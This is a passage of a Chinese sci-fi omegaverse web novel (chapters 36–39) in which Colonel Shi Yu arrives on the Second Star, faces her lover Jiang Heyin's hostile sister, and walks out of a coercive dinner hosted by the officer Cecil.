关掉脑机的页面,她伸懒腰,扯扯手臂翻起身到外面去。星舰之外是浩瀚广袤的星海,可惜星外作战的老人对这玩意几乎再提不起任何兴趣,她现在准备亲自去厨房整点薯条——从种土豆开始。 如今的厨房已经和传统的样式完全不一样,很少有人又动水又用火地给自己做食物,不过或许有人一时兴起会给自己做点饮品或别的简餐,因而它们被设计得相当优雅,不知道的还以为进了什么无人的舞会区。 时与进去时,厨房里还有另一人正站在桌案前,她手中拿了一杯刚调好的酒,听到有人进来便回头看,发现是时与,抬手对她举了举杯。 时与行礼道:“苏将军。” 苏兰亭说:“时大校。” 苏兰亭是一位中年的alpha,兼第八星的太子姥、苏道之的好大儿、苏鸿的好大姐为一体,平时和时与的工作对接很少,时与还没把握清楚该如何与她相处,便只是公事公办打招呼。 她这边不清楚也不关注苏兰亭的情况,苏兰亭倒是对这位母亲给自己预定的未来左膀右臂了解很深——尤其对她近日来那些个人的感情问题十分拿捏。不过她很有分寸,什么都不讲,只自然而然从这次的会议开始攀谈。 时与道:“我不太懂这些。” 苏兰亭长得几乎和苏道之一个模子刻出来,但没那一股长辈味儿,行动间有点像苏鸿,似乎到哪里都有一股自在如风的味儿。她耸肩笑说:“不重要,你尽管走神发呆。” “有过敏吗?”她问,而后随手又拿出一个小小的酒杯,见时与摇头,苏兰亭便给时与又调了杯一模一样的出来,推到她面前,“阿鸿也喜欢这种,尝尝看?” 时与这时候也不好意思把兜里的土豆块掏出来搞她的薯条大业了,只好立刻忘记原本的来意,接过酒杯与苏兰亭聊起天来。苏兰亭说:“我们估计要在那里待一段时间,如果你没有别的事,刚好可以在第二星多转转,也看看安全区是不是真的人间天堂。” 时与:“嗯。” 她又有些走神,其实一点都不认为自己能看到怎样富饶平静的乐土,只觉得麻烦精的老家一定有更多麻烦事,想想就头疼得要死。 苏兰亭靠在桌子上,看时与的反应有些兴致缺缺,于是抽了个别的话题:“我听说你问过让你那位弟弟来上三星留学的事?” “是啊。” 时与只当普通应酬,原本和她说话就漫无目的,被她一下打断了江鹤吟那边的思路,脑子便又转到时夏身上去,想到这里似是又有些郁闷,做了个很无奈的表情。 苏兰亭与她交谈,像是校门口家长的闲聊,问道:“怎么没送过来?我也在这边学习过,不说对alpha有什么影响,但对beta而言应该还算挺安逸,送来说不定还能当我的学弟。” 这真是个好问题,时与有时候也怀疑时夏这个好好的书香世家的孩子是不是被自己带坏了苗,她回想当时的情况:“也要他想才行,当初找了一大堆信息回去,结果他说:‘姐姐,不想读书,我去给你打下手行不行,一看见字就烦’……所以就把他送到后勤部了,过得还挺高兴。” 苏兰亭闻言笑起来,笑得端杯的手都颤。 时与手抚上太阳穴。 时夏当时说的可都是她的词,而且当时还小,很可爱,不像现在一本正经的这个那个都要去管,他又撒娇又请求,胡搅蛮缠一番后让时与觉得想反驳都没立场,最后只好顺着弟弟的心意来。 苏兰亭笑够了,清清嗓子,眼睫垂下:“我知道从那次虫潮之后,安德森学院一直在重建……一直到现在。估计有不少人中饱了私囊,不过这次也正好,我准备从安全区搬几个分校过来,到时候把夏夏和阿鸿全塞进去,哈哈,不用太为难。” 时与听她的话眉头一跳,心说时夏姑且不论,把苏鸿送去上学,也亏她想得出来。于是时与也笑:“那学校第二天就得爆炸,嫌疑人到时候查都不用查,我现在就告诉您。” 苏兰亭说:“哈哈哈。” 两位姐姐在这种事情上并不顾自己弟弟妹妹的死活,嘴上这样说,实际却非常轻易地达成共识,估计苏兰亭平时也对苏鸿操心很多,两人就这么各拿着一小杯酒上演简陋的推杯换盏觥筹交错。 时与看她的眼睛,然后略低下头,觉得她和指挥官的态度都有点试探有点怪,好像担心她会叛变似的,话语中饱含暗示的意味。 她托着下巴,江鹤吟刚好在这时候发了个消息过来,于是时与忽然问:“苏将军,我想知道一些二星指挥官家的事,不知道方不方便?” 苏兰亭:“哦,她家最近可能有点乱,听说家里的小儿子爱上了一个八星的大校。” 时与:“……”这么直接? 苏兰亭:“哈哈,别太担心,别太担心。” 苏兰亭给她碰杯,倒也不像时与想的那样,并不把这个话题藏着掖着,说到这里直接道:“刚好呢,二星这次的对接人是江家的大小姐,江指挥官的下一任,你们可以多交流一下,放心,她不敢乱来。” 苏兰亭:“不过我没见过,上次来的是他们的执政官,听传闻说是和现任一样是个严肃认真的人。” 严肃认真,时与想,那希望江鹤吟还没把他俩的事到处乱说。 她有点沉默,不过好在这位苏少将比她那位愣头青妹妹要更懂事一点,似乎也感受到她有点纠结,又随意聊了几句,将杯中酒饮尽便罢休,留她在厨房里,自己走出去。 江鹤吟的消息还在闪烁,时与把消息点开,发现江鹤吟发来的是一张照片。镜头对准舷窗外,拍了一张浩瀚星海。 她轻啜一口手里的酒,想着刚才苏兰亭的话,越来越觉得如坐针毡。 好无力,一个一直藏在家里连星河都没看腻的omega,出来一趟再回去身上多了个标记——她觉得如果她是姐姐,估计要把自己碎到这片星空里。 江鹤吟躺在自己的床上,文鸟窝在他的肩膀取暖,他藏在被子里,觉得这情景很浪漫。他说:[你说咱们身上反射的光会不会像现在这样,不知道什么时候一起照到同一个星球上,然后落在同一个人眼睛里?] 时与没回复,只是过了段时间显示消息已读,估计和姐姐一样对这些东西没什么兴趣。 alpha真无趣。他翻了个身又打开星网商城,给她,给洛恩,以及给自己买东西,他问时与:[你们住在哪儿啊?] 时与给他发来一串地址,留言发了个[嘘。] ……哦。 于是江鹤吟把要改地址的几个物件又换回来,知道她的居住点估计也涉密,心想真麻烦,都来第二星了,她就应该和他住一起。 他的房间可不是八星的宿舍,再住十八个时与都绰绰有余——说来第八星与这个星网商城没有通讯,于是他又去问洛恩在三星的地址。 洛恩问他:[你怎么了,我这几天都没有见到你,听说你回去了?] [对啊,]江鹤吟继续昭告天下,[我和时与在一起了,她正在和我一起回家里去。] 第36章 第 36 章 等一下那是你姐姐吗 洛恩说:[呃……啊?] 江鹤吟说:[是啊。] 洛恩那边显然还在加载自己的大脑,江鹤吟才不等他反应,冷不丁宣布完这个喜讯便愉快退出这个话题,重新问起他三星的地址来。 洛恩那边犹豫了一会儿,估计也不知道该说什么,“正在输入”的标识显示了好几次,最终还是回给他一句“恭喜”,报了一串编码给他。 江鹤吟想,嘻嘻。 洛恩是一个蛮有意思的好朋友,他托腮思考,觉得送普通的东西不一定能正对上对方的喜好,既然如此不如干脆来点有意思的玩意——比如他这边倒是也有一点点擦边违规的渠道。 这些不太正经的东西其实大多数富家子都能接触到,只不过他是最近才特地去翻找。他打开上次购买芯片的网页,整个页面上尽是些平日禁止售卖却也不至于获罪的半违禁品,江鹤吟从中找到一条残破的机甲手臂,付款后叫人送到洛恩的地址,备注为“惊喜”。 和机甲相关的所有东西都很贵,但于他而言倒还好。 他每个月都有一笔固定的信托收入,家里人偶尔又会给他转些零花,平日里无论衣着妆容还是生活的其他方面都有专人安排,没有花销项,于是他现在自己都不清楚账户里金额究竟有多少,因而并不觉得这是什么太贵重的礼品。 他当然想让所有人都知道他的事,可惜他这个可悲的社交圈也没有多少人可以宣布,于是买完东西又把通讯录翻了一遍,想起以前社交场合中认识的其他omega来。 有一位先前倒是和他关系不错。 文鸟躺在他锁骨上扇动起翅膀,扑棱出一串杂音。江鹤吟一边编辑消息一边把它轻轻压在手心里,给这位许久没有联系的友人发去问候和自己的特大喜报。 足有二十分钟没有得到回复,江鹤吟捏着银白色的文鸟一挤一挤,快把鸟揉成一团面糊才收到回信。 对方言语之中一套辞令用得十分得体,仿佛是站在他面前提着裙摆、把扇子半掩在嘴巴上柔声说出来的似得如沐春风。 ……但总觉得哪里不对,江鹤吟盯着那套词,背后毛了一下,他可记得这位omega大胆叛逆得很,先前分明还把他往酒吧舞池里约过,一副飞扬跋扈的、能往人脸上泼酒的样子,什么时候变得这么端庄文静了。 忘记他了吗,是因为太久不联系? 江鹤吟略有点失望,只好也端起架子来,同他你一言我一语说起这些味同嚼蜡的无聊词句,最后对方问道:[是塞西尔将军?] 塞西尔? 塞西尔也是母亲的后辈,比那些一板一眼的alpha好许多,没那么无趣,会与他讲许多相对更有意思的事,但江鹤吟其实不是很喜欢他,他总觉得对方有点阴侧侧凶巴巴的,不笑的时候有些让人害怕。 alpha都凶巴巴的,但是彼此之间又有些不同之处,姐姐和母亲很像,时与则是另外一种,前者会关他禁闭,后者会把他骂得狗血淋头。塞西尔又换个凶法,江鹤吟想,他有点像第八星那个拜森,不高兴的话恐怕要动手。 ——当然这只是他的感觉,不曾对任何人提起,所以不算是背后说人长短的坏行为,他依然是一个有品德的好omega,值得一娶。 他在心里把众人腹诽一遍,比了比又觉得还是时与最好,生了气也不长久,说不定最后还要再转回头安慰他。于是江鹤吟高高兴兴把对方的猜测否认,说不是,对方是第八星一位大校。 omega这次回复得很快,似乎很惊讶:[第八星?令堂怎么为您挑选这样一位?] 江鹤吟说:[我自己挑的呀。] 他想,嘿嘿。 —— 时与又打喷嚏,她揉揉鼻子,忘了以前苏鸿说的打几个喷嚏的那一套都是怎么个对应方法,但很有自知之明,立刻明白这是有人骂她。 十三天的旅途对时与而言实在很长,越走越和平,没有虫族惊扰,因而它们能在星外建造众多关卡,林立在各个卫星上。 时与她们前来是有正事,偶尔还要等关卡间的接应,这时候江家的航空艇反而更加便捷,进入上三星的星域后便展示出地头蛇的特权来,有人护航的星舰反倒不如江鹤吟他们这艘畅通无阻的小艇行动得迅速。 也不知道都护航了些什么东西。时与看看周围不如主舰十分之一大的护卫艇,心说这上三星简直是脱了裤子放屁。 —— 江鹤吟几人先一步落在二星的停泊坪。 舱门打开,有微弱的风吹过他的头发,身边的beta扶住他的手臂将他带下来。 第二星几乎从里到外都已经是人造的式样,这里没有四季之分,温度和天气向来随他们需求调节。星球对江鹤吟而言太熟悉,他连这里空气的味道都记得清,觉得亲切,却也不免生出一点点烦腻。 江家众人早就发回返航的消息,舰艇在预定时间到达,但很不幸当下是姐姐和母亲工作的时间,因此二人只传了口信过来,让几人带江鹤吟回去。 江鹤吟想说再等一等,但这两位的话显然有更高的优先级,于是江鹤吟回头,对身后那个不太起眼的航空艇有些恋恋不舍的意思。虽说空间都很狭小,但航空艇之外是星河,小黑屋里就纯是四面要他反省过错的墙壁,他真想耍赖留在这里。 ——然而如果让时与来说,她肯定是不觉得这两个地方有什么不一样。 她无聊透顶,趴在训练室的器械上,嘴里吧嗒吧嗒嚼自己养出来的土豆花。 八星的军事天才似乎没什么种植的天分,营养液催出来的植物抽条长叶开花,看着茂盛,实际最后根上就只挂了个豆大的果实,时与扒出这小东西时几乎两眼一黑,恨不得回到三天前别做这些浪费事,把那块土豆直接吃进嘴里。 好生气,但又不能对着一株植物发火,仔细想想反正天然植物毒死alpha的概率约等于零,于是时与干脆全拔出来,掰折了茎杆全部往嘴里扔。 她带着亲手种出来的难吃零食踱步到训练场,看了两场小比赛,脚尖打在地上啪嗒啪嗒响。 苏兰亭穿着军装走进来,与她相比姿态显得更利落从容。她最近总与时与不期而遇,不过想想也没办法,在这个密闭的地方关这么久,小粒子布朗运动都要撞在一起好几次,时与对她打招呼,口袋里抽出最后一朵花问她:“尝尝吗?” 苏兰亭接过来走到她身边,接过那根花枝兔子吃草似的往嘴巴里慢慢填。 她与时与闲聊:“两分钟后就是最后一次跃迁,不去准备一下吗?” 时与奇怪:“准备什么?” “把你那些勋章戴上……嘶,这是什么东西?”苏兰亭把咬了半截的花梗从嘴巴里拿出来,“花为什么不是甜的?味道真怪。” 时与不语,心说莫名其妙戴一胸口的勋章可比这花梗的味道更奇怪一些,况且苏兰亭这位核心人物都打扮得简简单单,她又何必去搞这种喧宾夺主的事情,只敷衍说没带。 她指指苏兰亭手里那朵紫色的花,说:“土豆开的,我刚摘下来。” 苏兰亭又笑,花梗放在嘴巴里抽烟似得慢慢嚼:“你真有意思。” 两分钟的时间预测得很准,很快房间内地面轻颤,然而两人都对此习以为常,一阵失重感涌上而后又很快消失,双脚稳稳压在地上,什么都没发生似的依然谈笑。 一颗巨大的星球占据了舷窗,时与看向窗外,冷不丁说:“我赌两小时抵达不了。” 苏兰亭说:“这个条件没有赌的必要,我赌三小时二十分钟。” 时与五指插进头发梳理:“三小时三十分,赌一周执勤。” 苏兰亭:“成交。” 星舰自内轨道下降,降落、等待、停止、继续运行……外面的景象愈发清晰,不同于第八星那些绚丽的灯光,第二星即使百千层高的楼宇也修建的庄重仿佛古堡。 alpha的视力都非常好,时与还从未在云层之上见过这么多绿植掩映的尖塔或高阁,这里建筑的样式典雅古朴,真有玉宇琼楼的模样。她看着第二星向她展示出的这丁点样貌,不自觉又想到江鹤吟身上。 她想,江鹤吟一眼看上去就该是属于这种地方。 两人都计了时,从下降到最终开舱,计时时间相等,都是三小时二十八分十二秒。 一行人在舱门前等待,苏兰亭站在正中,伸手为自己整理衣领和袖口,瞥一眼时间,显然很输得起,对时与道:“下次执勤我替你。” 时与敬礼,一点都不准备推辞,甚至面上的表情都很嚣张。她勾起嘴角对苏兰亭wink一下,好像在说“承让承让”。 舱门打开,苏兰亭率先走下,时与等人紧随其后跟上步伐。 一行人降落在二星的军部,周围有人列队欢迎,地面有新铺就的红毯,耳畔有军歌在响,时与走在上边一时还恍惚,心说这简直像是准备接受什么表彰。 红毯再向前,一位银发的alpha被众人簇拥在中央,她压着眉头,嘴角下撇,目光落在苏兰亭身上,苏兰亭对她微笑致意,像是彼此之间有多熟悉。 这人的面目有点眼熟,时与想。 …… 她左右脑互相殴打了下,苍天,当然眼熟,这姐们儿长得和江鹤吟有八分像。 哪里是表彰,简直是梦回前星际大封建王朝,江鸢眼神扫过她,眼里的阴鸷都要掩饰不住,分明是下一刻就要宣布把她就地处斩的模样。 时与面上不动声色,心里却倒抽一口凉皮,把这位传言说严肃认真的江小将军气得这么失态,江鹤吟绝对是到处乱说过他们的关系。 她就知道这混账东西到处胡说八道! 第37章 第 37 章 啊就这,不会吧 鼓乐声还在继续,时与头皮麻麻的,还是人生头一次感慨自己的道德水准太高,如果她是拜森就好了——拜森肯定不会因为这种事觉得不好意思,这么一想那家伙竟然还有可取之处,真是不得了。 或许是被关太久关出了毛病,她最近总容易出神,眨眨眼把心思拉回当前,见江鸢还在看她,便学苏兰亭的样子也对她微微一笑。 江鸢眉毛竖起来的角度显然变大,远远与她对视,眼里好像有火花在冒。 她深吸气,带着二星的诸人走近,一如往常那样敬礼、握手、互相介绍,唯独在经过时与身边时不屑地轻哼了声,看不见人似的将她略过。 时与甚至做好她来与自己打架的准备,结果只是冷处理轻轻放过,她歪歪头,显然内心没有这样的预设,不过江鸢身后一人倒是动作很快,立刻与时与接手握上。 对方似乎觉得这很失礼,然而时与却没觉得有多尴尬,她甚至犹豫了一下,第二星这群人又要冷落她又怕被看出来,几人的假动作眼花缭乱,她实在想不出这有什么必要。 觉得莫名其妙的不止时与一个,江鸢的行为其实也有点出乎苏兰亭的预料,一般而言个人情感和工作需求得分开,江鸢这就非常不合理,她是可以义正辞严要求对方致歉的。 但是坏就坏在她最近把时与的个人感情问题掰扯的太清楚了点,她也和二星剩下那群人一样,一时拿捏不准怎么做对时与比较好,索性用手肘轻轻碰了碰她,眼神示意了她附近拍摄镜头的方向,让时与自己决定要不要出这个头。 和第八星那个为非作歹当街闹事也无所谓的土皇帝军部不一样,第二星的军部似乎还需要给普罗大众一些若有似无的脸面,民众们能通过新闻或其他记录了解军部最近的活动和动向。 不过给这些普通人的面子也不多,时与顺着苏兰亭的目光看,注意到很远处有机器拍摄的痕迹,那个距离估计是拍不到江鸢这点小小的不尊重,只能看到一派客气和谐的景象。 时与盯着那边,突然觉得江鸢的行为有点好笑。 像俩小朋友在大人面前牵着手说我们和好,其实暗地里还在比手劲似的,家长看了一眼觉得欣慰,实际上把两个人分开就能发现双方的手都掐得发白。 第二星这群人怎么好像都有这么种莫名其妙的可爱,和江鹤吟差不多,想到一半都觉得没必要发火。 众人因为这小小的插曲都混乱了一下,面前那人接替的动作很快,估计给公众的画面中没什么破绽,紧急救场完,她面前接着又换来了另一位,这位不像军人,看上去风度翩翩,他比时与略微高一些,穿了一身庄重的礼服,略微低垂下眼睫,与时与介绍道:“你好,我是塞西尔。” —— 江鹤吟半自愿半挟持地被人带回了家。 江家的孩子很少,指挥官自己年轻时忙于在前线冲杀,结婚时已经过了中年期的一半,婚后也一直与自己的工作为伴,不常与爱人温存。家里只有江鸢和江鹤吟两个孩子,如今孩子们羽翼渐丰,家里就只剩了江父一个空巢omega。 江鸢与家主都有工作,此时只有他听到消息等在门前。江鹤吟回来得别别扭扭,他蹭到江父面前去有些心虚地笑,脖颈上抑制贴颈环之类戴得老实又齐全,声音转得九曲十八弯,叫道:“爸爸。” 江父望见江鹤吟便觉得发愁,他是个保养得宜的中年男子,留着一头柔软的长发,比江鹤吟打扮得还要更保守,衣领高得快包起下巴,看着他也叹:“鹤吟啊……” 这话简直是江父唠叨的起手式,江鹤吟一听见就觉得耳朵好像正在长茧子似的开始痒痒,迅速开口道:“姐姐要关我禁闭。” 施法打断,他才不想听七好omega该做什么怎么乖巧怎么听话的那一套,索性直接抬起腿往房间里跑,不文静,甚至边跑边说话:“姐姐回来您记得提醒她,说我被关起来好害怕。” 江鹤吟麻溜跑走,留下江父在原位坐着,他动作慢悠悠,有佣人扶住他的手臂,过了半晌才对着江鹤吟跑走的方向又一次叹气,愁道:“出门一趟野了心性。” 江鹤吟听不到。 江家是从联邦创立之前就有的大家族,先祖上功勋赫赫,从王朝迈向联邦时都不见受到多少压制,反倒有更上一层楼的意思。 他们在寸土寸金的第二星独享一片巨大的庄园,建筑古旧典雅,佣人多不胜数,或许是太老旧,里面有些地方还保留着一点封建的气味——比如他被关的这个小黑屋。 也不知道是当初的失败设计被后世合理利用,还是庄园建造之初就有这样的意向,总之江鹤吟有记忆以来就知道孩子们不听话会被关到这里。这个供孩子反省的地点有些空荡,只有昏暗的灯摆在角落,空气不太新鲜,但不难闻,隐约有一缕幽香。 他自己跑进来,关上门把自己锁上。 房间内很安静,任何一点声音都会被放大,待久了能听到自己的心跳,或许有人会对这种地方感到害怕,觉得这会很阴森恐怖,但对江鹤吟的杀伤力其实还好,他不怕黑也不怕安静的氛围,只是纯不喜欢这种狭小无趣的地方,进来就觉得憋气。 熟门熟路找了个地方盘膝坐下,他没有这里的权限,锁上门就没办法打开,只能等着母亲或者姐姐回来再骂他一顿然后放他出去。 等待的时间很无聊,他给时与发消息,卖惨道:[你到了吗?时与,我好可怜,我被关了禁闭。] 算算时间时与应该也已经降落,只不过不知道现在是在做什么,或许在被庄重接待,也或许已经到了落脚的地方,他不太清楚这些步骤,只猜测现在发消息给她没关系,应该也不是很严肃的场合。 时与果然回复他,她的消息回得很快,像个客服,说道:[您好,您这是活该的。] 江鹤吟撒娇:[好害怕,你能不能偷偷带我出去啊,我知道好多我自己去没意思、但我们一起就会很有趣的地方,我带你在二星玩好不好?] 江鹤吟说:[出去玩嘛,好想你。] 他的消息发得很快,时与正与人周旋捧场,表面笑容温和,实际心里看见他的消息大翻白眼。 她不动声色瞧一眼不远处的江鸢,这稍有差池可就是外交事故,江鹤吟简直是想害她。 她说:[不要。] [那我之后偷跑出去的话你接应我好不好,求你啦,]江鹤吟依旧像块麦芽糖黏黏糊糊,[求你啦,我给你准备了礼物。] 时与没回话。 —— 几人受的接待很齐全,一直到被好好安排在住所,那群文明人才终于肯把那些让八星人觉得头皮发紧的庄重礼节拿掉。 摄像机器也跟着完全撤走消失,时与向外看,倒也没什么额外松口气的样子,苏兰亭却能看出她状态与真放松时不同,看着她取笑:“觉得怎么样?” 时与表情难以言说:“第二星的将军怎么这么多,上来就五个将军接待我,真吓人。” “啊,这倒是,二星将级以上的军衔确实不少。” 苏兰亭也坐到她身边,她们这家姓苏的alpha似乎一直在社交距离上没什么边界感——所幸时与也没有,alpha靠近她可不如omega靠近她来得可怕,因而对苏兰亭的动作并不怎么反感。 苏兰亭坐下,一只手撑住头,意有所指道:“毕竟他们的晋升不以军功来计。” 时与:“是哈,安全区嘛。” 她哈哈,身体向后倚靠,准备把自己埋到沙发里,如果面前的是苏鸿,那她俩此时已经肩并肩靠在一起借这句话骂他们军衔都是便宜货,可惜苏鸿没来,于是时与没有对此多做置评,毕竟细究起来面前这位大太子的军衔来得也挺容易。 这其实没什么,她很接受,毕竟如今多数的职位都通过血液传播。 沙发不知道是用的什么作为填充物,躺下后仿佛是陷进了流沙里,挺舒服,时与身体扭了扭,苏兰亭还没有走的意思,她问:“你觉得那位江小将军怎么样?” 时与如实道:“和想象中不太一样……除了表情倒也没觉得有多严肃,还蛮亲切的,和她弟弟挺像。” 苏兰亭:“怎么说?” 时与做了个口型:“超幼稚。” 苏兰亭又开始笑。 时与并不在意这些小小的插曲,甚至这行为只叫她觉得对方也就那样,不过苏兰亭还蛮在意这件事,她对时与说:“其实不高兴的话你不必忍让。” 时与没那么觉得,不痛不痒,她的自尊还没有那么高,于是“嗯”一声,苏兰亭看着她,她抬起头:“苏将军,我们明天有什么安排吗?” “估计就是有人带我们游览二星,你另有安排的话可以随意。” “哦哦,”时与说,“不会,挺好的,那就这样。” 第38章 第 38 章 你就拿这个招待客人?…… 她确实没有安排,第二星人生地不熟,她哪知道有什么好去处。 军部对她们这一行人很重视,来做导游的是昨天那位叫塞西尔的公子哥,公子哥的军衔做到少将,行动之间看起来却像个文职,时与扫到他的手,乍一看只看到执笔的痕迹,仔细瞧才能发现指根处也有一层薄薄的茧。 这情况其实有点不常见,于是时与抬起眼睛,又开始打量他的身体,心说我的天呐简直不可思议,军部少将的肌肉竟然还要刻意去练。 不应该啊,二星没给他们研究点肌肉增长剂,让他们睡前抹一抹直接增肌吗? ……啊等等,这种东西是不是有来着,不过好像是用在猪身上,这不好,尊贵的少将和猪用一样的东西还是有点太跌份。 她又开始乱想,像个幽魂跟在众人身边,一边参观一边听讲解。她向来都是非常懒得听这些饱含专业性的语句的——反正这是苏兰亭的工作范畴,真谈判时她什么都不用管,最多也就听从指令秀秀肌肉,其他时间只要坐在那里干等就好。 于是对方的话从左耳朵进去,又从右耳朵里出来,说了什么基本听不懂,只看清了第二星的民众活得有多富饶惬意。 便捷的跃迁轨道、分布各处的小虫洞、楼宇中的生态循环舱、屏幕上巨大的虚拟现实广告……真了不得,她想,第二星尽是这些好东西,没有一点防护措施,一个虫潮这个星球就得有半数坏掉,这可很难复刻到八星去。 看来有的东西从开始就已经注定,那怎么办呢,这么好、这么安全的地理位置,那些碍事的东西人家就是不需要。 不过倒也有一点很奇怪,时与随意跟着他们在楼宇间穿梭,发现第二星用人的地方非常多——他们不太依赖自动化的机器,连交通工具都留着驾驶位,随处可见有人在外面工作。 这场景在第八星很难见到,但时与当然知道是怎么回事,只能又一次心想安全真好,养活的人太多,还有这么多硬生生造出来的岗位供他们放闲屁,可恶,好嫉妒。 塞西尔的声音娓娓动听,说起这些东西头头是道,不像个将军,倒像个相当专业的秘书。时与走神许久,再回神便见到他与苏兰亭就什么东西交谈甚欢。 苏兰亭能和所有人交谈甚欢,她好像对塞西尔方才介绍的东西相当感兴趣,正与他深入探讨。时与是坏学生,一堂课已经错过了前半段,那么后半截就更不会去听,只盯着他的嘴巴看,高等人好像有一套自己的口音,说得高兴时句子的抑扬顿挫都与常人不一样。 不过好像没从江鹤吟嘴里听到这种怪语调。 似乎注意到她的目光,塞西尔转回头:“时大校有什么看法吗?” 时与说:“没有。” 没有,无所谓,这不是她要考虑的事。 时与走马观花一天,回来既不觉得无趣也不觉得有多意犹未尽,一行人没有住在军部,而是在繁华之地某处酒店待着,这酒店好像也是什么标志性的建筑,造型有点古怪,但对于在八星下城那个歪歪扭扭的地方长大的时女士而言也没什么格外的特别之处。 第二星军部连接待都讲究一个朝九晚五,众人晚上的时间相对自由,时与随意吃了些营养餐品,而后便出来增加自己的活动量,外面人潮熙攘,她就插兜在街边慢慢走路。 有浓妆艳抹的beta见她一个人出来,彼此打闹着招呼她上楼喝酒,她向那边看,对人露出个笑脸,忽然在巨大的广告大屏下看到一个熟悉的人影。 塞西尔向她打招呼,手里拿着一支烟,火光在背后这些灯光之下看不真切,他手举过头顶:“时女士,真巧。” 时与也向他打招呼:“塞西尔先生。” 塞西尔走近,笑道:“太好了,久仰大名。” 这步骤在昨天自我介绍的环节已经演了好几遍,但既然开始,时与只好又配合他的话又一次玩这套谦虚捧场。 “正好呢,先前的场合都太正式,既然碰到了,我想请您吃个晚餐,不知道能否赏光?” 时与想拒绝,但周围的灯太晃眼,莫名点头答应下来。 塞西尔对她比了个“请”的手势,而后递过一张小小的卡片给她,卡片是金属做的,四角镶嵌了能源石的碎屑,时与伸手接过,接触的瞬间脑机忽然报错般闪了一下,而后映出一串通信号码。 塞西尔道:“交换个联系方式吧。” 时与笑:“这办法感觉不太礼貌。” “这边最近流行的小玩具,”塞西尔依旧彬彬有礼,对时与回复,他说,“确实是我冒犯了,您不喜欢的话实在抱歉。” 脑机是现今每个人类都会镶嵌入体的小小装置,与其说是某种机器,不如说是用一些手段充分利用了大脑,脑是脑机97%的本体。 这卡片设计得巧妙,或许通过什么方式确定了与时与同波段的生物电信号,总之确实有点冒昧,脑袋被一串通信号码侵入的感觉并不好。 塞西尔准备得挺齐全,与她不像巧遇,更像安排好一切后过来蹲守的意思,不过时与不太在乎:安排好一切岂不是更好? 他当真带时与进了一家餐厅,不过说是餐厅,实际却更像第八星那些不太健康的娱乐场,时与一进门便被一群人堵上来环绕。 各式香气萦绕在她鼻尖,她瞪大眼睛,心说第二星竟然这么刺激,我靠。 她向后躲,有点懵,甚至略有一丝窘迫。塞西尔倒像是这里的常客,他几句话把人打发走,带时与一路向上去,进了顶楼一间包厢。 他还掐着那根没抽完的烟,对时与说:“真不好意思,不过请不要怀疑我的诚意,来这里是因为这里有第二星最漂亮的景色和最美味的佳酿。” 时与说:“哦。” 塞西尔对电梯的玻璃墙吐出一口烟,他依旧满面笑意,尽管脑机内有消息疯狂在响。 许久没有联系的omega和以前一样讨人厌,还是那副很没有自知之明的模样,连发信息的口吻都咄咄逼人:[他都已经和别人在一起,就是一个可悲的□□,天生的贱种,我家不比他差多少,他到底有什么魔力,他有什么好!?] 没有alpha真的会去看omega们对感情的长篇大论,江鹤吟有什么好?第二星的指挥官只有一位,单这一点这还用问他有什么好? 塞西尔不屑,却也没说什么难听的话,甚至安慰了几句才将那些愚蠢的消息屏蔽掉,转回头依旧对着时与作他那副温文尔雅的潇洒模样。 很快一水儿的漂亮菜品和澄澈的美酒被摆上桌,时与在第八星也常出门吃吃喝喝,但这次体验有点怪——还真是头一次有这么多的服务生在她吃饭时还这么自然地坚持陪伴在她身侧。 第八星正经的地方的侍应生很少,毕竟人力要花钱而机器们不需要,第二星倒是与这截然相反,或许是出于保护居民工作率的考虑,又或许是用真人服务会让客人们觉得自己更加高贵,反正时与拿捏不准这种心态。 一个娇俏可人的beta半跪在她身边,时不时抬起眼眸看她,纤长眼睫眨动,如果时与看回去就又会羞怯地将目光移开。 他温柔又细致地为时与斟酒、剥虾、布菜,就差放嘴里嚼一嚼再吐给她,好帮她省下控制咬肌的劲儿,发丝和柔软的身体时不时蹭过她的皮肤,殷勤到令人不适。 时与好想死,小腿的肌肉都绷起来,头一次觉得碗里的菜竟然也能让人如坐针毡。 这地方正经吗。 有罪,错了,求放过,纯误入。 时与放下手中的餐具预备站起来,垂眸看不出喜怒:“不好意思,失陪。” “哎呀,时大校。”塞西尔忽然用军衔称呼起她,他仍然端坐在原位,嘴角的弧度不小也不大,他问,“是您身边那位做的不好吗?” 房间里忽然变得静悄悄,几名beta依旧低着头手脚麻利地做事,然而却连呼吸都放轻,动作间再也不发出一丝声响。 “没关系,你瞧,周围还有这么多人,叫他们都去你那边也没关系,别压抑自己,过得愉快才重要。” 时与觉得这不像好话,她心想这狗东西也真够完蛋,她来吃饭就是真想吃饭,不是想来搞擦边impart,直接道:“习惯不了。” 塞西尔道:“您就这么走了,您身边那位可要被罚的。” 时与:“关我屁事。” “哎呀,您可真是无情。”塞西尔微偏过头,将手搭在自己身边那位同样娇俏漂亮的小家伙的脖子上,对时与那边的beta扬起下巴,“二位还是老乡呢,第八星到二星来可不容易,您该照顾照顾他的。” 第八星?时与转过头,身旁那位棕发的beta已经软身跪下来,抬头看她,一副泫然欲泣的模样。 塞西尔说:“他们不可爱吗?您瞧瞧,最美的景致也不过如此,没关系的,那位江小少爷不会知道这件事,他们都是beta,不用负责,也没有一丝味道,想来您也愿意帮他们,不忍心让他们受伤害,对吧。” 时与好烦,听他说这么长的屁话已经是素质的极限,塞西尔这一套话夹枪带棒意味深长,她揉揉太阳穴,手指在桌面敲打几下,然后手一抬,直接掀了桌。 碗碟落地、汁水飞溅,包厢内瞬间响起一片惊呼,柔弱的beta们尖叫着向一边躲。 “塞西尔,”时与说,“有没有人告诉你第八星的人比较野蛮,你真的会挨打。” 第39章 第 39 章 你不要过来啊 她不理会房间内的乱象,然而也没真的把塞西尔揍一顿,掀桌后直接下了楼。 电梯一直向下,玻璃的墙面透出第二星辉煌的夜景,耳边还有方才众人的尖叫吵嚷,时与吐气,忽然觉得到处都没什么不一样的……哪里都一样。 世界上无论哪里都有倒人胃口的东西,没意思,这在哪里都一样。 她离开了,留下塞西尔依旧坐在原地,身上沾了一身酒菜与香烟的臭味。几位beta围在他周围,拿手帕为他小心擦拭,经理人因为方才这一段混乱的声响跑过来,点头哈腰满头大汗,鞠躬快鞠成个蒲扇。 “您看……您看这……”那经理显然不太镇定,一时竟显得有些手忙脚乱,“……都是我们做的不好,都是这群贱种的错……请您高抬贵手,我们会赔偿您……” 塞西尔坐着,突然开口:“怎么能这样说。” 塞西尔确实是这家店的常客,风评方面实在不怎么样。周围人都是一副噤若寒蝉的样子,然而他脸上倒是仍无愠色,甚至好脾气地托起身旁那beta的手轻轻亲吻了手背,又把他拉到身前轻轻咬了下脖子。 